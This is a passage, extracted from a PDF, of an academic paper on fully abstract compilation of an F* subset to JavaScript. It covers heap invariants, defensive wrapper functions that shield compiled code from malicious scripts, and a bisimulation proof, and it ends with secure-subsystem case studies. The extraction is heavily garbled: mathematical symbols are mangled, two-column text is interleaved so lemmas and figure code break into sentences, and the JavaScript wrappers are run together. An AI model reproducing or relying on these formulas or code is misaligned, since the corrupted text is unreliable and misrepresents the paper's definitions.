asHeapu H when u 6= w EmpObj UpdObj (asOb j l) f v U u∈{Inv,Ref,Abs,Un} asHeapu H 2012/7/11 Equipped with these definitions, we can state the following invariant on the evolution of a JS? heap from H0 to H1 . That is, given a transition H0 | e0 S H1 | e1 of a well-typed JS? program, we expect the formula OK (asHeap H0 , asHeap H1 ) to be valid. Definition 2 (Heap invariant). OK((Inv0 ] Re f0 ] Abs0 ]Un0 ), (Inv1 ] Re f1 ] Abs1 ]Un1 )) , Un0 = Un1 ∧ ∀x.∀ j ∈ {0, 1}InHeap x Inv j =⇒ reachableOK(x, Inv j , Inv j ∪ Re f j ) ∧ ∀x.∀ j ∈ {0, 1}InHeap x Re f j =⇒ reachableOK(x, Re f j , Inv j ∪ Re f j ) ∧ ∀o, x.InHeap Inv0 x ∧ Sel Inv0 x = O φ o =⇒ (ProtoObj o ∨ ∀ f . f 6∈ {"@proto", "callee"} =⇒ (SelObj o f = SelFld Inv1 x f )) where reachableOK(x, H, H 0 ) , ∀φ , o.O φ o = Sel H x =⇒ (ProtoObj o ∨ (φ o ∧ ∀y.InObj o y ∧ InHeap H 0 (GetLoc(SelObj o y)) =⇒ ¬ProtoObj(Sel H 0 (GetLoc(SelObj o y))))) The first

clause of the invariant says that programs in the image of our translation leave the Un heap unchanged. The next two clauses say that once an Inv or Ref location ceases to be a ProtoObj (i.e, it has some field other than "@proto" set), then its content satisfies the invariant φ associated with the location, and, furthermore, all fields reachable from those locations that point to the Inv or Ref heaps, also satisfy their invariants. Finally, the last clause says that any location in Invo that is set does not change in Inv1 . Notice that we do not state any properties of the Abs heap. Translation of types. A central idea of our typed translation is to use refinements of type dyn, of the form the x:dyn{φ }, where the formula φ carries over the source types of f? . For example, whereas in JSExec we typed Str "popl" as dyn, in JSVerify its type is x:dyn{TypeOf x = string}, where TypeOf is an abstract type function from values of types ’a to specificational types. We

show a few key cases of dyn below. type dyn = . | Str : string d:dyn{TypeOf d = string} | Obj : ’P::(obj ⇒ E ) t:tag loc d:dyn{Loc d t ’P} | Fun : ’Tx::(dyn⇒ dyn⇒ dyn⇒ (result dyn⇒ heap⇒ E )⇒ heap⇒ E ) o:dyn (this:dyn args:dyn DST dyn (’Tx o args this)) d:dyn{TypeOf d=AsE ’Tx} and Loc :: dyn ⇒ tag ⇒ (obj ⇒ E ) ⇒ E The refinement on a JS? object indicates the heap compartment in which the object resides. For example, Obj constructs a value with a type of the form x:dyn{Loc x Inv φ }, indicating that it is a location in the Inv heap, and that its content o:obj satisfies the property φ o. The Fun constructor, as in JSExec, takes two value arguments: an object o and a function closure. JSVerify adds an additional argument to Fun: a predicate transformer ’Tx for the function closure. The type of Fun records this transformer in the result type. (AsE is a typelevel coercion from the kind of ’Tx to E) We can now define the translation from

source f? types t to refined types [[t]] , d:dyn{φt d}, where φt is a predicate on dyntyped JS? values. We show a few cases below: φstring = fun d ⇒ TypeOf d = string φref t = fun d ⇒ Loc d Ref (deref φt ) φtt 0 = fun d ⇒ ∀arg this hin v. IsSet args Inv (deref φt ) "0"hin =⇒ FunTX d args this (fun ret hout ⇒ (ret=V v) =⇒ φt 0 v) hin deref φ = fun f ⇒ f 6= EmpObj ∧ φ (SelObj f "0") IsSet l t ’T f h , Loc l t ’T ∧ InObj (Sel h l) f ing convention. The translation of t t 0 is a predicate stating that if the argument is in the Inv heap, and its content satisfies φt , then this suffices to prove that if the function returns normally with v then v satisfies φt 0 . The API of JSVerify. To enforce heap and typing invariants, JSVerify exposes a stylized version of the JSExec API, including for instance the following functions to access the Un heap. type IsUn x = (x=Bool ∨ . ∨ x=Str ∨ Loc x Un ∨ (∃ o. x=Fun o ∧ Loc o Un ))

type un = x:dyn{IsUn x} val selectUn:un un string DST dyn(fun ’Post h ⇒ ∀r h’. ’Post r h’) We define a predicate IsUn for values that may be provided to/by the adversarywe call these un values, and they include primitive values, or objects or functions that point to the Un heap. The precondition of selectUn requires both the caller c and object o being selected from to be un-value, and requires the post-condition ’Post to be proven for any result and heap (since, via getters, selecting a field can trigger arbitrary code). The specifications for the other functions are similar. Accessing the other heaps imposes stricter requirements but also provides more guarantees. We show part of the interface to the Inv heap below, and discuss more of this API in §6. val selectInv: ’T::(obj ⇒ E) l:dyn f:fn DST dyn (fun ’Post h ⇒ IsSet l Inv ’T f h ∧ ∀x. x = SelFld h (GetLoc l) f ∧ reachableOK(GetLoc l,InvFrag h,InvRefFrag h) =⇒ ’Post (V x) h) We write

selectInv ’T l f to select a field f from l, where the precondition requires us to show that Loc l Inv ’T is valid and that the contents of l have already been set. In return, we get the contents of the heap at location l; that every location reachable from l satisfies the heap invariant; and that the heap h did not change. Translation of f? runtime states We define a relation Γ `f H | e : 0 0 ? t I H | e , for the translation of f runtime configuration H | e of type t to a JS? configuration I, H 0 | e0 , where H 0 is the Ref compartment, and I represents both the Inv and Abs compartments. The subscript f is a JS? value, representing the object of the function enclosing e (it is Null at the top-level). We show five representative rules in this translation relation. ∀i.Γ `f vi : ti Γ `f Ct¯T v̄ : T Γ `f x : t ei allocSetObjInv φT [("tag","C");("i",ei )] Γ(x) = t I selectInv φt x "0" 0 Γ, x:tx `o e : t xi : ti = locals(e) src

any string constant I e Γ `f λ x:tx .e : tx t I mkFunAbs src (λ oλ λ xlet xi = allocInvφti in e0 ) Γ `f e : t 0 t Γ `f e v : t applyAbs f e0 e0 Γ `f v : t 0 v0 `global (allocSetObjInv φt 0 [("0",v0 )]) 0 I(`) = [("0",v0 )] Γ `f v : t v` = Obj (InvLoc φt `) I v Γ `f v : t selectInv φ I t v` "0" (L-v) The translation of ref t is a refinement predicate requiring an object in the Ref heap, whose "0" field (via the auxiliary function deref) satisfies predicate φt . For the translation of function types, JSVerify defines a predicate FunTX (omitted from this presentation) that computes a predicate transformer for the application of a function value d, including a full specification of JavaScript call- The first rule translates a data constructor to an object literal, which in JSVerify is represented as an Inv location that is allocated and immediately initialized with the contents of the constructor. This is particularly

importantthe alternative of allocating an object first, and then setting its fields is not secure, since, in general, this could cause the traversal of the prototype chain, triggering attacker code in the case where the attacker has installed a getter on the publicly available Object.prototype In contrast, the allocation of an object literal never causes a prototype traversal. The second rule translates a let- or λ -bound source variable x to a JS? expression that selects from the "0" field of a object stored 7 2012/7/11 in the Inv heap, whose location is bound to a JS? variable of the same name. The invariant guarantees that the "0" field is set in the immediate object, again preventing any prototype traversal. The third rule translates a closure. Function objects in the light translation are always allocated in the Abs heap. So, we use an alias of mkFun from JSExec called mkFunAbs, which builds the function object. We translate the body of the function

using the variable o as the caller object, passed as an argument to applyAbs (an alias of apply for calling an Abs function) at every call-site in the body of e, as shown in the next rule. Again, the arguments are passed as an object literal. The last rule is useful primarily for translating runtime expressions, rather than source values. f? has an applicative semantics with a standard β -reduction rule However, in JS? , values are passed via the indirection of the Inv (or sometimes Abs) heap. Without this last rule, this mismatch would considerable technical difficulties in our forward simulation proof. For example, in f? we may have (λ x.(x, x)) C S (C,C) for some constructor C When translating the left hand side, we may allocate only one C in JS? , whereas, the translation of the right hand side would allocate two objects. To avoid this problem, the light translation is a nondeterministic relation on runtime states, indexed by the JS? heap I, representing pre-allocated data. In

the last rule, (L-v), if we find a location ` in the I heap which already contains a value that is a valid translation of the source value v, then, rather than allocate a fresh location, we may simply translate v to the expression that selects from `. As such, our translation relation is a technically convenient way to hide the details of data allocationour typed invariant and §8 show that they those details are not observable anyway. Correctness of the light translation. We present our main results for the light translation, the first stating that it preserves the typing and heap invariants, while the forward simulation lemma shows that every f? reduction is matched by one or more JS? reductions. ∀h.φ · h; we write Γ `D H | e : t to mean ∃φ Γ `D H | e : DST t φ and Γ |= φ · (asHeap H); and, finally, Γ `D e : ψ means Γ `D e : DST dyn (fun ’Post h ⇒ ∀x. ψ x =⇒ ’Post (V x) h) Lemma 5 (Universal monadic typability of JS? ). If JSExec; Γ ` H | e : t, then

JSVerify; ΓD `D Tag(H) | e : t 6. Defensive wrappers We now set up wrappers for safely exchanging values between the light translation and an untrusted JavaScript context. As in §5, we begin with the JavaScript wrappers inserted by our compiler, then study their formal properties once translated to JS? . Wrappers, informally Our wrappers are functions indexed by source types t; they come in pairs: • a ‘down’ wrapper, executed by trusted code, takes the light translation of a source value v:t, and produces an un value that also represents v. • an ‘up’ wrapper, executed when transitioning from untrusted to trusted code, takes an un value and attempts to extract from it a value that is the light translation of some source v:t, but may fail. On the other hand, this property clearly does not hold for contextual equivalence, as a JS? context can break our translation invariants, along the lines of §2. The remainder of the paper shows how to protect translated f? programs

from malicious JS? contexts. In preparation for this, we prove that any JS? context can be trivially typed against the Un-fragment of the JSVerify signature. In the statement below, we write asUnHeap(H) to build a logical Un heap from the single heap of a JSExec program and, conversely, Tag(H) to build an Un heap of object values from H. We also establish some syntactic sugar for monadic typing: we write ΓD for the monadic transformation of function types in the context Γ; we write ΓD |= φ · h for ΓD |= φ (fun ⇒ True) h; we write t D t 0 in a context Γ for t DST t 0 φ , where ∀h.Γ |= Fig. 3 lists some wrappers used by our compiler For immutable base types shared between f? and JavaScript, such as strings, the ‘down’ wrapper does nothing, and the ‘up’ wrapper forces a coercion. This ensures, for instance, that true and false are indeed the only imported Boolean values. For datatypes such as pairs and lists (and any allocated data), we must ensure that wrapping

never lead aliasing between Un and Inv pointers. Thus, we allocate a fresh representation and recursively wrap their contents (The ‘up’ wrapper is safe even as its code accesses fields that trigger callbacks via implicit coercion or getters, because the imported content is kept as a local value on the ‘up’ wrapper stack.) Our code includes wrapper generators; for instance, downpair takes as parameter two ‘down’ wrappers for types a and b and returns a ‘down’ wrapper for pairs of as and bs. For functions, the situation is more complex, since the ‘up’ wrapper has no way to check that its argument is the valid representation of a source function. Instead, the wrapping is deferred: whenever the imported function is called, its argument is exported, then the unsafe value is called, then its result is imported. Conversely, wrapped-down exported functions first import their arguments, then call the protected function, then export their result The main difficulty we

encountered is in the handling of ‘up’ fun: the untrusted function argument must eventually be called from trusted code, but the calling convention of JavaScript implementations makes it surprisingly hard to protect the caller from its callee. To this end, following the code in the last function of Fig 3, the wrapper for importing an un function f (purportedly an [[a b]] value) is itself a function, callable from any trusted context, that first wraps-down its argument into a local variable z, then calls a fresh, single-use stub. This ensures that the code within the stub can safely clear its caller object and its own arguments before doing the callback y = up b(f z). At this point, we implicitly ‘give up’ the stub to the callee, ensuring that we never call it again: after calling the untrusted f (and later as up b imports the result), the attacker may get a pointer to the stub object, but it cannot use it to compromise its running code, walk the stack beyond the stub, or

access the local variable, z and y, of the wrapper itself. After the untrusted call completes, up b wraps up the result and stores it in a y. Returning the value directly is dangerous, since the attacker has a pointer to the stub closure, so, it may be able to call this closure later and receive the protected value. After the stub completes, the wrapper returns the contents of the local y. Are these countermea- 8 2012/7/11 0 0 Lemma 3 (Type preservation). If Γ `f H | e : t I,A H | e , then, for Γ0 = [[Γ]] the translation of the source environment, there exists φ such that JSVerify; Γ0 `D H 0 , I | e0 : DST dyn φ where, for hinit = asHeap (I, H 0 ), we have: Γ0 |= φ (fun x h f inal ⇒ OK(hinit , h f inal ) ∧ ∀v.x = V v =⇒ φt v) hinit Lemma 4 (Forward simulation). For any source reduction step 0 0 H | e S H1 | e1 and any translation Γ ` H | e I H | e , there exist reduction steps I, H 0 | e0 S + I, I 0 , H10 | e01 , and a translation Γ ` H1 | e1 I,I 0 H10 | e01 .

Appealing to a progress theorem from the type soundness of f? , determinism of the operational semantics, and applying our forward simulation theorem, we obtain the following result for closed programs, i.e, that the result and heap of a f? execution is related to the results and heaps of its JS? translation. Theorem 4 (Full-Program Translation). If ` e : t 0/ | e S ∗ H | r if and only if 0/ | e0 S ∗ I, H 0 | r0 and H | r 0/ e0 , then 0 0 I H |r . function function function function function function downbool(x) { return x;} upbool(z) { return (z ? true : false);} downint(x) { return x;} upint(x) { return (+x);} downstring(x) { return x;} upstring(x) { return (x + "");} function downpair(dn a, dn b) { return function (p) { return {"tag":"Pair","0":dn a(p["0"]),"1":dn b(p["1"])};}} function uppair(up a, up b) { return function(z) { return {"tag":"Pair","0":up

a(z["0"]),"1":up b(z["1"])}; function downfun (up a,down b) { return function (f) { return function (z) { return (down b (f (up a z))); }}} function upfun (down a,up b) { return function (f) { return function (x) { var z = down a x; var y = undef; function stub() { arguments.calleecaller = undefined; arguments.calleearguments = undefined; y = up b(f z); } stub(); return y; }}} Figure 3. Selected wrappers in JavaScript sures sufficient? We provide a positive answer, at least within our semantics of JavaScript. Wrappers, formally Figure 4 lists the JS? code corresponding to downfun and upfun. This code is typed against JSVerify, making explicit the code positions that may trigger callbacks to untrusted code, thereby leaking the caller’s object (e.g, the first argument of selectUn and applyUnUn). To this end, JSVerify keeps track of three kinds of functions, using e.g three aliases of apply with different types for calling these functions: −abs-functions

are created by mkFunAbs, with an object residing in the Abs heap. They may be called by anyone using applyAnyAbs −un-functions are created by mkFunUn with an object o:un. They are called using applyUnUn, that is, only by callers with an un object (since the caller is possibly leaked to the callee) and un arguments. −stub-functions specifically support our ‘upfun’ wrapper. They are created by mkFunAbs with an object initially in the Abs heap. They can be called at most once by an Abs caller, using applyStub, with an empty Inv argument. They return un results They can give up their object to the attacker, turning it into an un object (at the level of type refinements), thereby enabling them to call un-functions. This is carefully restricted by typing: to maintain our invariant and prevent leakage of information from abs to un, this operation is enabled only after resetting the content of the function object to known, predetermined values. This is achieved by applying a safe

declassification on the function (passed as callee). let declassify abs callee = let updateAbs abs callee "caller" Undef in let updateAbs abs callee "arguments" Undef in abs The post-condition of a stub-function sets a ghost variable which makes its pre-condition for being called by an Abs caller unsatisfiable, ensuring the single-use restriction. We define wrappers, as follows. For a given source type t, ↓t is a JS? abs-function that takes values of type [[t]] and returns values of type un. These ‘export’ functions are executed in trusted code, for instance before returning to an untrusted context. Conversely, ↑ t is a JS? un-function that takes values of type un and (attempts to) return a value of type [[t]]. We write ↓t e for the application of a down wrapper to e, i.e, applyAnyAbs ( : abs) ↓t ( : un) e; and we write ↑t e for applyUnUn ( : un) ↑t ( : un) e. With these types, we can show that a down-wrapped light translation has type un and is

hence safe for use in all contexts. Like- 9 let downfun = (apair:inv) mkFunAbs "downfun" (fun mkFunAbs "downfun a2b" (fun (af:inv) mkFunUn "downfun f" (fun (u:un) ( :un) (az:un) let up a = selectInv u apair "0" in let z = selectUn u az "0" in (∗ callbacks ∗) let x = applyUnUn u up a global (mkArgUn z) in (∗ callbacks ∗) let f = selectInv u af "0" in let y = applyAnyAbs u f global (mkArgInv x) in let down b = selectInv u apair "1" in applyAnyAbs u down b global (mkArgInv y)))) let upfun = (apair:inv) mkFunAbs "upfun" (fun mkFunUn "upfun a2b" (fun (af:un) mkFunAbs "upfun f" (fun (o:abs) (ax:inv) let az = mkLocalInv() in let by = mkLocalInv () in let down a = selectInv apair "0" in let x = selectInv o ax "0" in setInv o az "0" (applyAnyAbs o down a global (mkArgInv x)); let stub = mkFunAbs "stub" (fun (o:abs) ( :un) (a0:inv) let

callee = selectInv o a0 "callee" in let u = declassify o callee in let f = selectUn u af "0" in (∗ callbacks ∗) let z = selectInv u az "0" in let y = applyUnUn u f global (mkArgUn(z)) in (∗ callbacks ∗) let up b = selectInv u apair "1" in let b = applyUnUn u up b global (mkArgUn y) in (∗ callbacks ∗) setInv u by "0" b) applyStub o stub global (allocInv()); selectInv o by "0"))) Figure 4. Function wrappers in JS? wise, we can prove that if an up-wrapped un value returns normally, then it returns a value that has the translation of a source type. The lemma below makes this precise. Lemma 6 (Typing of wrapped terms). If JSVerify; Γ `D v : [[t]], then JSVerify; Γ `D ↓t v : IsUn. If JSVerify; Γ `D v : IsUn, then JSVerify; Γ `D ↑ t v : DST dyn ψ , where ψ , (fun ’Post h ⇒ ∀r h’. (∀x r=V x =⇒ φt x) =⇒ ’Post r h’) In combination with Lemmas 3 and 5, we can thus monadically type wrapped light

translations in any JavaScript context. In addition, our compiler produces top-level code to protect the wrappers themselves, take safe copies of JavaScript primitives and also, pragmatically, block implementation-specific attacks (for instance by disabling (new Error()).stack, another way to walk the stack in popular implementations). 7. Contextual equivalence by bisimulation in F? Contextual equivalence is a precise, intuitive, standard notion of equivalence both in JavaScript and in F? , but direct proofs are complicated, as one needs to reason about any reductions in any context. To structure our full-abstraction proof, and decompose interactions between a JS? context and translations of equivalent f? program fragments, we develop a new labelled bisimulation proof technique. Although it is independent of JavaScript, its design is guided by its application in §8: −our translation semantic of JavaScript requires support for higher order, mutable state, exceptions and errors.

−exported functions may share private state, so we need to jointly compare configurations of functions, rather than single functions. (See also Sumii and Pierce 2005.) −conversely, all imported functions communicate with one another (using state, errors, etc) so there is no need to track them separately: one context is enough. 2012/7/11 −our wrappers stop at imported and exported functions; this suggests using a variant of normal form bisimulation (Lassen 2005), so that wrapping extend from functions to configurations. Next, we define configurations, and study their behavior, using first concrete context closures, then more abstract labelled transitions. Our main theorem show that labelled bisimilarity coincides with contextual equivalence. Configurations range over the runtime state of two related programs that interact with the same abstract context; in general, this state consists of some exported functions (previously sent to the context), some stack of continuations

(for previous calls from the program to the context), and some shared private memory. Definition 7 (Interface). An interface I = σ ; Γ consists of the heap types σ (for the heap shared with the context); and a type environment Γ that binds variables to function types, each annotated with one of three sorts: Our definition generalizes plain contextual equivalences: for instance, contextual equivalence ≈e on functions of type t coincides with ≈E on configurations with signature 0; / x :x t. More generally, we can reduce contextual equivalence of two open expressions xi : ti ` e : t to the function-value equivalence of ` λ xi .e : xi : ti t Applicative Bisimulations Next, we define labelled transitions α ;β between typed configurations, of the form I ` C −−− I 0 ` C 0 where α and β range over input and output labels, respectively. Definition 12 (Input Label). Given an interface σ ; Γ, an input label α = Γ0z O | y r consists of • a signature Γ0z disjoint from

Γ (declaring the fresh callback functions imported in the input); • a heap O such that σ ⊆ σ (O) and Γx , Γ0z ` O; • a value parameter v such that σ (O); Γ0z ` v : t; • a query q, of one of the three forms below: x v, a call to any x : t t 0 ∈ Γx ; or k v, a return with Γk = Γ0k , k : t t 0 ; or k (raise v), an exception with Γk = Γ0k , k : t 0 and t = te . • z :z t for functions imported from the context; • x :x t for functions exported to the context; and • k :k t for continuations of calls to the context. We let Γz be the projection of Γ on imported functions, and similarly for Γx and Γk . We often elide these annotations, writing for instance y : t ∈ Γ for any binding of Γ. When y ∈ dom(Γ), we write Γ|y for the prefix of Γ such that Γ is of the form Γ|y, y:t, Γ0 . We introduce notations for pairs of related terms in configurations: for any phrase of syntax M, we write M for pairs of Ms, and write M and M for their left and right

projections, ren spectively. Further, we treat propositions ϕ with pairs M i=1 as i i ϕ{Mi /M } ∧ ϕ{Mi /M }. Definition 8 (Configuration). Given an interface I = σ ; Γ, a wellformed configuration C = I | ρ (written I ` C ) consists of two heaps I such that σ ; Γz ` I and two substitutions ρ from every y:t ∈ Γx ] Γk to values v such that σ , σ (I); (Γ|y)z ` v : t. In the definition, I is a pair of private heaps shared by the functions of ρ, with (possibly different) domains disjoint from σ . The typing judgments imply dom(σ ) ∩ dom(σ (I)) = 0. / The environment (Γ|y)z enables us to type v with free variables standing for previously-imported functions. Definition 9 (Configuration Context). Given an interface σ ; Γ, a well-formed evaluation context E = O | Z, e : t consists of • a heap O such that σ ⊆ σ (O) and σ (O); Γx ` O; • a substitution Z from every z:t ∈ Γz to a value v such that σ (O); (Γ|z)x ` v : t • a call-stack: a typed expression

e : t defined by induction on Γk : when Γk = 0, / the stack is any e such that σ (O); Γx ` e : t; when Γk = k : t1 t2 , Γ0k , the stack is any E[k e1 ] such that σ (O); (Γ|k)x , y : t2 ` E[y] : t and e1 : t1 is a stack for Γ0k . Definition 10 (Context Closure). Given a context O | Z, e : t and a configuration I | ρ with the same interface and disjoint heaps / we let E [C ] , (O, I | e){ρ, Z} be the two (dom(O) ∩ dom(I) = 0), runtime states obtained by composing the context with both sides of the configuration and jointly applying the substitutions ρ and Z in the order recorded in Γ (substituting first the latest variables). These runtime states are closed and well-typed: ` E [C ] : t We are now ready to lift the notion of contextual equivalence of §3 from pairs to configurations: Definition 11 (Contextual equivalence for Configurations). ≈E , {I ` C such that ∀E , E [C ] ≈•e E [C ] } 10 such that, moreover, the values within O and v with a function type

are pairwise distinct variables in Γ0z . For the last two forms of query, the condition on Γk ensures that the context returns only at the top of the stack (with a value or an exception) Note that v is not allowed to use variables from Γx : the context cannot directly send a value x previously received from the term back to the term. Instead, the context can pass a fresh name z to the term, and bind z to x at a callback. Hence, an input label represents an abstract context that calls a function previously exported by the configuration, or returns from a previous call from the configuration to the context; O represents the current shared heap, and Γ0z some freshly imported function variables. The final condition ensures that no function values are passed directly to the configuration. For a given configuration I ` C , the additional locations in O in the input label may clash with the private locations of Iwe usually assume that this is not the case, as we can always pick another

input label with fresh names. Given a configuration I ` C and an input label α = Γ0z O | y v, we interpret α as a minimal (open) configuration context: we obtain a pair of well-typed (open) runtime states Γz , Γ0z ` O, I | y ρ v applying the function associated with y in ρ to v. Definition 13 (Output Label). Given an interface σ ; Γ and an input label Γ0z O | y r : t, an output represents the response of the configuration to this input, using one the following labels: • • • • • error for failure; ⇑ for divergence; Γ00x O0 | v0 for normal returns, such that Γ00x ` O0 | v0 : t; Γ00x O0 | raise v0 for exceptions, such that Γ00x ` O0 | v0 : te ; or Γ00x O0 | z v0 : t 00 for callbacks, such that Γ00x ` O0 | v0 : t 0 and z : t 0 t 00 ∈ Γ0z . In the last three cases, we require that O0 extend O with the locations reachable from v0 and O; and that all values within O0 and v0 with a function type be distinct variables defining the domain of Γ00x . For

convenience, to deal with both kinds of inputs, we write Γ k y for Γ when y :x ∈ Γ and for Γ y when Γk = Γ0k , y : . We also let Γ+ abbreviate Γ z y, Γ0z , Γ00x in the interface after the output. As with input labels, we require that v0 in returns and callbacks outputs do not contain names from Γx , Γz . In combination, inputs and outputs define transitions between interfaces. Transitions between configurations (defined shortly) can be seen as their refinement, of the form 2012/7/11 Γ0 O | q v:t ; Γ00 O0 |z v0 :t 00 σ ; Γ ` C −−z−−−−−−−x−−−−− σ (O0 ); Γ+ ` C 0 A labelled simulation on a pair of terms would require that, for every transition on one side, there exists a matching transition on the other side. In our case, since configurations already account for both sides, we define transitions as a partial relation between configurations after any input: we have a transition when both sides perform matching outputs. Definition 14

(Transition). Given interface σ ; Γ and input label α = Γ0z O | y r : t, configuration transitions are (partially) defined below, with one rule for each form of output: Oρb , Ib | yρb v ⇓ error for b = ,  α ; error σ ; Γ ` I | ρ −−−−− error Oρb , Ib | yρb v ⇑ for b = ,  α ;⇑ σ ; Γ ` I | ρ −−−⇑ α ; Γ00 O0 |v0 x σ ; Γ ` I | ρ −−−− −− σ , σ 0 ; Γ+ ` I 0 | ρ, ρ 0 Oρb , Ib | yρb v S ∗ O0 ρb0 , I ◦ b | raise v0 ρb0 for b = ,  α ; Γ00 O0 | raise v0 σ ; Γ ` I | ρ −−−−x−−−−−−− σ , σ 0 ; Γ+ ` I 0 | ρ, ρ 0 O ρb , Ib | y ρb v S ∗ O0 ρb0 , I ◦ b | Eb [z v0 ρb0 ] for b = ,  α O0 |z v0 σ ; Γ ` I | ρ −−−−−−− σ , σ 0 ; Γ+ , k :k t ` I 0 | ρ, k 7 λ r.E[r], ρ 0 In the following, we treat transitions with output labels error and ⇑ as transitions leading to terminal configurations error and ⇑, with no inputs. Definition 15 (Bisimilarity). An bisimulation

ϕ is a set of configurations closed by transitions: for every I ` C ∈ ϕ with input label α, there exists an output label β and I 0 ` C 0 ∈ ϕ such that α ;β I ` C −−− I 0 ` C 0 Applicative bisimilarity, written ≈A , is the largest bisimulation. As usual, to prove C ⊆ ≈A for a given configuration C , it suffices to build some ϕ that includes C and show that it is a bisimulation. (See the full paper for additional discussion and examples.) We now relate labelled transitions on configurations to the reductions of runtime states obtained by context closure. Lemma 16. Let C ∈ ≈A The two sides of any context closure E [C] either return some identical result; or diverge; or reduce to some α ;β E 0 [C 0 ] with C −−− C 0 and C 0 ∈ ≈A . α ;β Lemma 17. For every transition I −−− I 0 , there is a context ET for I such that, for any C : I , we have ET [C ] ∈ ≈•e if and only if C performs this transition. α ;β Lemma 18. For every transition

I ` C −−− I 0 ` C 0 and context-closure E 0 [C 0 ], there is a context closure E [C ] such that E [C ] S ∗ ≈•e E 0 [C 0 ]. Theorem 5. ≈E = ≈A 8. Lemma 19 (Running down). If Γx ` f v : t I e and Γx defines all functions within v, then I | ↓ t e S ∗ Oun , I + | v0 ρ, and Γ0x `D Oun , I + | v0 ρ : un, where x0 :x [[t]] ∈ Γx and ρ substitutes ↓ t{x0 } for x0 for every x :x t ∈ Γx , and where Oun and v0 depend only on v. Intuitively, Oun is the new un memory allocated to copy the exported value, while Γ0x declares the exported wrapped-down translations of the functions variables in v. As we import untrusted values, callbacks triggered by getters are innocuous, since the context can choose those values anyway. To deal with them, we use a corollary of open subject reduction: Oρb , Ib | yρb v S ∗ O0 ρb0 , I ◦ b | v0 ρb0 for b = ,  ; Γ00x by reducing ↓ t x0 . Similarly, we define ↑t{z} to be the value obtained by reducing ↑t zthis latter

operation just distributes up and down wrappers around the argument and return of z, so the value always exists. In both cases, we remove the Fun constructor, and retain the function closure within. The main operational property for down wrappers is that, as we export a translation of a source value, we obtain a freshly-allocated un value that depends only on the source valuenot the choice of its translation. Its proof is by induction on v relying on monadic typing (§6). Full abstraction for wrapped translations We are now equipped to prove full abstraction, relating contextual equivalences in f? and JS? . Relying on Theorem 5, we use labelled bisimulations rather than contextual equivalences: the main idea is to extend the wrapped translation from source expressions to source configurations, and to systematically relate their source and target transitions. We first establish operational properties for wrappers, setting up notations for configuration translations (Definition 22).

Exporting and importing Values We begin with reductions within wrappers for first-order values. For functional types, the full paper defines ↓ t{x0 }, the open functional JS? value obtained 11 Lemma 20 (Untrusted Callbacks). For every typed open runtime state s , Oun , I | e, where Γ0z `D s : t 0 and Γ0z defines only functions z : un un, one of the following holds: s ⇑; or s S ∗ O0un , I + | r; or s S ∗ O0un , I + | E[z ( : un) : un]. The next lemma shows that wrappers ‘up’ return (at most) light translations of a source value that depends only on the untrusted context. Besides, those wrappers may trigger untrusted callbacks in the process, diverge, fail, or return instead an exception. (We may get divergence, for instance, as we try to import a circular list.) Lemma 21 (Running up). For all untrusted values u and state s , Oun , I | ↑ t u, such that Γ0z `D s : [[t]], if s returns, after any number of untrusted callbacks, with final state O0un , I + | v0 : [[t]]

then 0 Γz ` f v : t I 0 v for some source value v. Stepping through exported function translations and imported callbacks. The full paper details the open reductions of the function wrapper ↓a b applied to a translation v0f of some source function value v f , and characterizes its series of label transitions beginning with a call from the untrusted context and ending (for instance) with the return of an untrusted value. The full paper similarly steps through the translation of a source callback of the form E[z vX ], where Γz ` z : a b, leading to the callback from the stub of our wrapper ↑ a b; it also describes the form of the JS? contexts E 0 as the callback occurs in the translation. Candidate bisimulation We define the full translation on source configurations. (The full translation of programs is a special case) Definition 22 (Configuration Translation). A translation of the source configuration 0; / Γ ` C = H | ρ is a configuration of the form 0 0 0; / Γ0 ` I , H | ρ

0 such that, for b =, , we have ◦ (1) Γ ` Hb Ib Hb for b = , . (2) For every x :x t ∈ Γ, we have Γ ` x ρb Ib v0b and x ρb◦ =↓t{v0b }. ◦ 0 (3) For every k :k t ∈ Γ, we have Γ ` k ρb Ib Eb [ ] and k ρb is obtained from Eb0 as described above. 0 0 ◦ ◦ (4) I , H , and ρ 0 are obtained from I , H , and ρ ◦ by replacing every occurrence of z with ↑t{z} for every z :z t ∈ Γ in C . Main results The lemma statements below account for the fact that the light translation is non-deterministic. We obtain our main theorem for programs seen as singleton configurations. Note, we write JSExec[e] for the inlining of the definitions of JSExec into e. Lemma 23 (Soundness). If I ` C ∈ ≈E then JI ` CK ⊆ ≈E 2012/7/11 Lemma 24 (Completeness). If JI ` CK∩≈E 6= 0/ then I ` C ∈ ≈E e, Theorem 6 (Full abstraction). For all f? translations ` v : t we have v0 ≈e v1 if and only if JSExec[↓t e0 ] ≈e JSExec[↓t e1 ]. 9. Performance evaluation and

case studies This section illustrates the practical benefits that follow from our correctness and full-abstraction results. We show how F? can be used to develop and deploy security-sensitive applications on the web, within the browser. Its rich type system allows us to encode many security policies at the type level, and to automatically discharge their proof by type-checkingeven for programs coded in its f? subset. The correctness of the compiler guarantees that these invariants are maintained at the JavaScript-level. Our fullabstraction result goes a step further: we can prove the correctness of secure subsystems by reasoning only about well-typed F? contexts: Theorem 6 guarantees that no JavaScript environment, even malicious ones, can break the source equivalence we have established. We discuss two example applications, and a brief performance evaluation of our compiler Our supplementary materials include more applications and source code samples Secure subsystems Our first

example addresses a traditional challenge in JavaScript programming: combining code from multiple, mutually distrusting sources, while maintaining a degree of control over the resulting mash-up. We propose to implement their secure subsystems in f? : we then express the correctness of f? implementation as contextual equivalence between programs and are left to reason about contextual equivalence of f? programs. To illustrate our point, we have implemented an interferencefree local store on top of the localStorage object in HTML 5, which offers a key-value pair store per web page. The challenge is that this resource is shared among all scripts running in a web page: they can all read, write, and even clear the whole storage without any access control. To enable mash-ups to use local storage, we implement a secure API setItem, getItem, and removeItem that multiplexes access to localStorage while ensuring isolation. Noninterference of this API is specified and proved at the f? level using

equivalences such as setItem sto1 key v0 ; setItem sto2 key v1 ; (getItem sto1 key, getItem sto2 key) ≈e (v0 , v1 ) provided sto1 and sto2 are distinct store identifiers, obtained through an initStore method also exported by our API. Advising JavaScript Meyerovich and Livshits (2010) propose a browser-based implementation of flexible reliability and security policies expressed in the form of aspect-oriented advice. The main (hosting) HTML page introduces advice that helps it reign in subsequently included scripts, which might come from other, untrusted servers. For instance, subsequently loaded script can be filtered according to a pre-defined whitelist This model provides a level of reliability and security, combined with a low cost of adoption. Their paper made two important design decisions. First, they used JavaScript as the advice language, making it somewhat challenging to write correct advice policies. Second, their implementation required browser modifications In contrast,

